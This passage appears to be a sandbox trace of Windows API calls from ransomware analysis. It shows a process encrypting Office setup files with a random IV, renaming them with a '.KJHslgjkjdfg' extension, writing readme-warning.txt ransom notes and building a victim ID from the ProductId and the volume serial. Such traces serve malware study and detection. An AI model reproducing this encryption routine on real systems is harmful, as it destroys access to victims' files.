Controller\\Visio.en-us\\VisioMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.kjhslgjkjdfg")) returned 1 [0165.845] CloseHandle (hObject=0x114) returned 1 [0165.845] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0165.845] GetProcessHeap () returned 0x990000 [0165.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0165.845] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.845] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0165.845] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.845] GetProcessHeap () returned 0x990000 [0165.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0165.845] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.845] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0165.845] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.845] GetProcessHeap () returned 0x990000 [0165.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0165.845] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.845] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0165.846] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.846] GetProcessHeap () returned 0x990000 [0165.846] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0165.846] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.846] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0165.846] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.846] GetProcessHeap () returned 0x990000 [0165.846] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0165.846] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.846] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0165.846] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.846] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0165.846] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0165.846] RegCloseKey (hKey=0x114) returned 0x0 [0165.846] GetProcessHeap () returned 0x990000 [0165.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0165.846] GetProcessHeap () returned 0x990000 [0165.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0165.846] GetProcessHeap () returned 0x990000 [0165.847] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0165.847] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.847] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0165.847] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.847] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0165.847] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0165.847] GetProcessHeap () returned 0x990000 [0165.847] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0165.847] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0165.847] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0165.847] GetProcessHeap () returned 0x990000 [0165.847] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0165.847] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\readme-warning.txt") returned 110 [0165.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0165.850] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0165.851] CloseHandle (hObject=0x114) returned 1 [0165.851] GetProcessHeap () returned 0x990000 [0165.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0165.851] GetProcessHeap () returned 0x990000 [0165.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0165.851] GetProcessHeap () returned 0x990000 [0165.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0165.852] GetProcessHeap () returned 0x990000 [0165.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0165.852] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0165.852] GetProcessHeap () returned 0x990000 [0165.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0165.852] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0165.852] GetProcessHeap () returned 0x990000 [0165.852] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xbe) returned 0x9b2468 [0165.852] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0165.852] GetProcessHeap () returned 0x990000 [0165.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0165.852] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0165.852] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0165.852] GetProcessHeap () returned 0x990000 [0165.852] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c0) returned 0x9b7e10 [0165.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0165.853] GetProcessHeap () returned 0x990000 [0165.853] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0165.853] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0165.853] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0165.854] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xf, lpOverlapped=0x0) returned 1 [0166.585] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0166.585] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0166.585] GetProcessHeap () returned 0x990000 [0166.586] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0166.586] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0166.586] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.586] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0166.586] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0166.586] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0166.586] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0166.586] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0166.587] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0166.587] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0166.587] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0166.587] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.587] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x5061, lpOverlapped=0x0) returned 1 [0166.590] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5070, dwBufLen=0x5070 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5070) returned 1 [0166.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.591] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x5070, lpOverlapped=0x0) returned 1 [0166.591] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.591] SetEndOfFile (hFile=0x114) returned 1 [0166.593] GetProcessHeap () returned 0x990000 [0166.593] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0166.593] GetProcessHeap () returned 0x990000 [0166.593] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0166.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.kjhslgjkjdfg")) returned 1 [0166.597] CloseHandle (hObject=0x114) returned 1 [0166.597] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0166.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0166.598] GetProcessHeap () returned 0x990000 [0166.598] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0166.598] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0166.598] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0166.598] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xd, lpOverlapped=0x0) returned 1 [0166.603] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0166.603] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0166.603] GetProcessHeap () returned 0x990000 [0166.603] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0166.603] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0166.603] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.603] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0166.603] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0166.603] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0166.603] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0166.603] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0166.603] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0166.604] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0166.604] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0166.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.604] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x2213, lpOverlapped=0x0) returned 1 [0166.656] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x2220, dwBufLen=0x2220 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x2220) returned 1 [0166.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.656] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x2220, lpOverlapped=0x0) returned 1 [0166.656] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.657] SetEndOfFile (hFile=0x114) returned 1 [0166.660] GetProcessHeap () returned 0x990000 [0166.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0166.660] GetProcessHeap () returned 0x990000 [0166.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0166.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.kjhslgjkjdfg")) returned 1 [0166.663] CloseHandle (hObject=0x114) returned 1 [0166.663] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0166.664] GetProcessHeap () returned 0x990000 [0166.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0166.664] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.664] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0166.664] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.664] GetProcessHeap () returned 0x990000 [0166.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0166.664] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.664] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0166.664] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.664] GetProcessHeap () returned 0x990000 [0166.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0166.664] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.664] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0166.664] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.664] GetProcessHeap () returned 0x990000 [0166.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0166.664] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.664] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0166.664] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.664] GetProcessHeap () returned 0x990000 [0166.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0166.665] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.665] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0166.665] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.665] RegOpenKeyExA (in: hKey=0x80000002, 